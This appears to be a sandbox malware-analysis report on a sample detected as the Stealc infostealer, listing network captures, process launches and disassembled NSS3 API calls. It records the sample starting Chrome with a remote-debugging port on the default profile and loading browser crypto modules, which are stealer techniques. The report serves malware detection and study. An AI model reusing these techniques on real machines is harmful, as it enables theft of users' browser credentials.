2024-10-28 05:28:21 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:21 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:21 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:21 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: c583980c-101e-008e-1237-26cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052821Z-r197bdfb6b48pcqqxhenwd2uz8000000058g00000000b1zg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:21 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Target ID:	0
Start time:	01:26:58
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb50000
File size:	2'126'336 bytes
MD5 hash:	B07426273441E1E6EC042658AB2132CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2065392111.000000000154E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2063456303.0000000000B51000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1693251451.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:27:07
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:27:07
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2184,i,17577529388536568339,1555015653757445265,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 6C666E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,6C667E60), ref: 6C666EBC
TlsGetValue.KERNEL32 ref: 6C666EDF
EnterCriticalSection.KERNEL32(?), ref: 6C666EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C666F25

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C666F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C666FA9
TlsGetValue.KERNEL32 ref: 6C6670B4
EnterCriticalSection.KERNEL32(?), ref: 6C6670C8
PR_CallOnce.NSS3(6C7B24C0,6C6A7590), ref: 6C667104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667117
SECOID_Init.NSS3 ref: 6C667128
PORT_Alloc_Util.NSS3(00000057), ref: 6C66714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6671A9
PR_NotifyAllCondVar.NSS3 ref: 6C6671CF
PR_Unlock.NSS3 ref: 6C6671DD
free.MOZGLUE(?), ref: 6C6671EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667208
free.MOZGLUE(00000000), ref: 6C667221
free.MOZGLUE(00000001), ref: 6C667235
TlsGetValue.KERNEL32 ref: 6C66724A
EnterCriticalSection.KERNEL32(?), ref: 6C66725E
PR_NotifyCondVar.NSS3 ref: 6C667273
PR_Unlock.NSS3 ref: 6C667281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C7A0148,,defaultModDB,internalKeySlot), ref: 6C6674CC
free.MOZGLUE(00000000), ref: 6C667513
free.MOZGLUE(00000000), ref: 6C66751B
free.MOZGLUE(00000000), ref: 6C667528
free.MOZGLUE(00000000), ref: 6C66753C
free.MOZGLUE(00000000), ref: 6C667550
free.MOZGLUE(00000000), ref: 6C667561
free.MOZGLUE(00000000), ref: 6C667572
free.MOZGLUE(00000000), ref: 6C667583
free.MOZGLUE(00000000), ref: 6C667594
free.MOZGLUE(00000000), ref: 6C6675A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6675BD
free.MOZGLUE(00000000), ref: 6C6675C8
free.MOZGLUE(00000000), ref: 6C6675F1
PR_NewLock.NSS3 ref: 6C667636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667686
PR_NewLock.NSS3 ref: 6C6676A2

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6676B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C667707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C66771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C667731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C66774A
DeleteCriticalSection.KERNEL32(?), ref: 6C667770
free.MOZGLUE(?), ref: 6C667779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6677AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6677C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6677DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C667821
PORT_Alloc_Util.NSS3(?), ref: 6C667837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C66785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C66786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678AC
free.MOZGLUE(00000000), ref: 6C6678BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678F3
free.MOZGLUE(00000000), ref: 6C6678FC
free.MOZGLUE(00000000), ref: 6C66791C

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

dll, xrefs: 6C66788E
extern:, xrefs: 6C66772B
NSS Internal Module, xrefs: 6C6674A2, 6C6674C6
Spac, xrefs: 6C667389
sql:, xrefs: 6C6676FE
,defaultModDB,internalKeySlot, xrefs: 6C66748D, 6C6674AA
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6674C7
kbi., xrefs: 6C667886
rdb:, xrefs: 6C667744
dbm:, xrefs: 6C667716

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction ID: b8c2f13f2c6d120a2c0e645878d2398f77352178374a0f1a0a2ea9851bc792a4
Opcode Fuzzy Hash: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction Fuzzy Hash: 065206B1E01205ABEF108F66DC09BAE7BB4BF06348F144138ED19A7E41E771D954CB9A

Function 6C68BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C68C0C8

Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C7195CD
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719622
Part of subcall function 6C719440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C71964E

PR_EnterMonitor.NSS3 ref: 6C68C0AE

Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C7191AA
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719212
Part of subcall function 6C719090: _PR_MD_WAIT_CV.NSS3 ref: 6C71926B

Part of subcall function 6C640600: GetLastError.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C640642
Part of subcall function 6C640600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C64065D
Part of subcall function 6C640600: GetLastError.KERNEL32 ref: 6C640678
Part of subcall function 6C640600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C64068A
Part of subcall function 6C640600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C640693
Part of subcall function 6C640600: PR_SetErrorText.NSS3(00000000,?), ref: 6C64069D
Part of subcall function 6C640600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,921290DD,?,?,?,?,?,6C6405E2), ref: 6C6406CA
Part of subcall function 6C640600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6405E2), ref: 6C6406E6

PR_EnterMonitor.NSS3 ref: 6C68C0F2
PR_ExitMonitor.NSS3 ref: 6C68C10E
PR_ExitMonitor.NSS3 ref: 6C68C081

Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C71945B
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719479
Part of subcall function 6C719440: EnterCriticalSection.KERNEL32 ref: 6C719495
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C7194E4
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719532
Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C71955D

PR_EnterMonitor.NSS3 ref: 6C68C068

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C640600: GetProcAddress.KERNEL32(?,?), ref: 6C640623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C68C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C68C183
free.MOZGLUE(00000000), ref: 6C68C18E
PR_LoadLibrary.NSS3(?), ref: 6C68C1A3
PR_EnterMonitor.NSS3 ref: 6C68C1D4
PR_ExitMonitor.NSS3 ref: 6C68C1F3
PR_CallOnce.NSS3(6C7B2318,6C68CA70), ref: 6C68C210
PR_EnterMonitor.NSS3 ref: 6C68C22B
PR_ExitMonitor.NSS3 ref: 6C68C247
PR_EnterMonitor.NSS3 ref: 6C68C26A
PR_ExitMonitor.NSS3 ref: 6C68C287
PR_UnloadLibrary.NSS3(?), ref: 6C68C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C68C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C68C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C68C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C68C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C68C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C68C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C68C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C68C8D5
free.MOZGLUE(00000000), ref: 6C68C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C68C9E5
free.MOZGLUE(00000000), ref: 6C68CA5A

Strings

PKCS 11, xrefs: 6C68C2F9, 6C68C314
NSC_GetFunctionList, xrefs: 6C68C093
NSS_FORCE_TOKEN_LOCK, xrefs: 6C68C77D
FC_GetFunctionList, xrefs: 6C68C098
NSC_ModuleDBFunc, xrefs: 6C68C0FC
NSS_DISABLE_UNLOAD, xrefs: 6C68C7B0
nss_mod_log, xrefs: 6C68C3CC
NSC_GetInterface, xrefs: 6C68C04F
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C68C38D
Vendor NSS FIPS Interface, xrefs: 6C68C34A
NSS_ReturnModuleSpecData, xrefs: 6C68C275
FC_GetInterface, xrefs: 6C68C054

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction ID: bfc164059f426a90be17f7173d43e6af8aaabf75737d0e53c750dc60fc8f5212
Opcode Fuzzy Hash: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction Fuzzy Hash: 4142A0B1A062049FDF00DF54D88AF9A3BB0FB46348F058138D90A9BB61E731D555CBAD

Function 6C763FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C763FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C763FFE
malloc.MOZGLUE(-00000003), ref: 6C764016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C79FC62), ref: 6C76404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C76407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764112
malloc.MOZGLUE(00000000), ref: 6C76411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C76414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764160
free.MOZGLUE(?), ref: 6C76416C
malloc.MOZGLUE(?), ref: 6C7641AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7641EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C764520), ref: 6C764244
GetEnvironmentStrings.KERNEL32 ref: 6C76424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7642B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7642E4
malloc.MOZGLUE(00000002), ref: 6C7642FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764342
GetStdHandle.KERNEL32(000000F6), ref: 6C7643AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7643B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7643B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764410

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C76445E
CloseHandle.KERNEL32(?), ref: 6C76446B
free.MOZGLUE(?), ref: 6C764482
free.MOZGLUE(00000000), ref: 6C764492
free.MOZGLUE(00000000), ref: 6C7644A4
GetLastError.KERNEL32 ref: 6C7644B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7644BE
free.MOZGLUE(?), ref: 6C7644C7
free.MOZGLUE(00000000), ref: 6C7644D5
free.MOZGLUE(00000000), ref: 6C7644EA

Strings

=, xrefs: 6C7644F8
NSPR_INHERIT_FDS=, xrefs: 6C7641E9
D, xrefs: 6C764396

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction ID: 23935f0d9413965d2c645673b8da9021651e89a91f21d93ee0585dd14c0b0eec
Opcode Fuzzy Hash: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction Fuzzy Hash: B202F470E043559FEB10CFAACA947AEBBB4AF06308F244179EC65A7F41D7319804DB91

Function 6C676D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C77A8EC,0000006C), ref: 6C676DC6
memcpy.VCRUNTIME140(?,6C77A958,0000006C), ref: 6C676DDB
memcpy.VCRUNTIME140(?,6C77A9C4,00000078), ref: 6C676DF1
memcpy.VCRUNTIME140(?,6C77AA3C,0000006C), ref: 6C676E06
memcpy.VCRUNTIME140(?,6C77AAA8,00000060), ref: 6C676E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C676E38

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C676E76
TlsGetValue.KERNEL32 ref: 6C67726F
EnterCriticalSection.KERNEL32(?), ref: 6C677283

Strings

!, xrefs: 6C677123

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction ID: a0762196239a323abfd35addf185e031389bad86fbd11ab7c43b1b5a9c4769e8
Opcode Fuzzy Hash: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction Fuzzy Hash: 7B729E75D052199FDF21CF28CC8879ABBB5EB49304F1445A9E80CA7701EB31AA85CFA5

Function 6C5E3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5E3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E406F
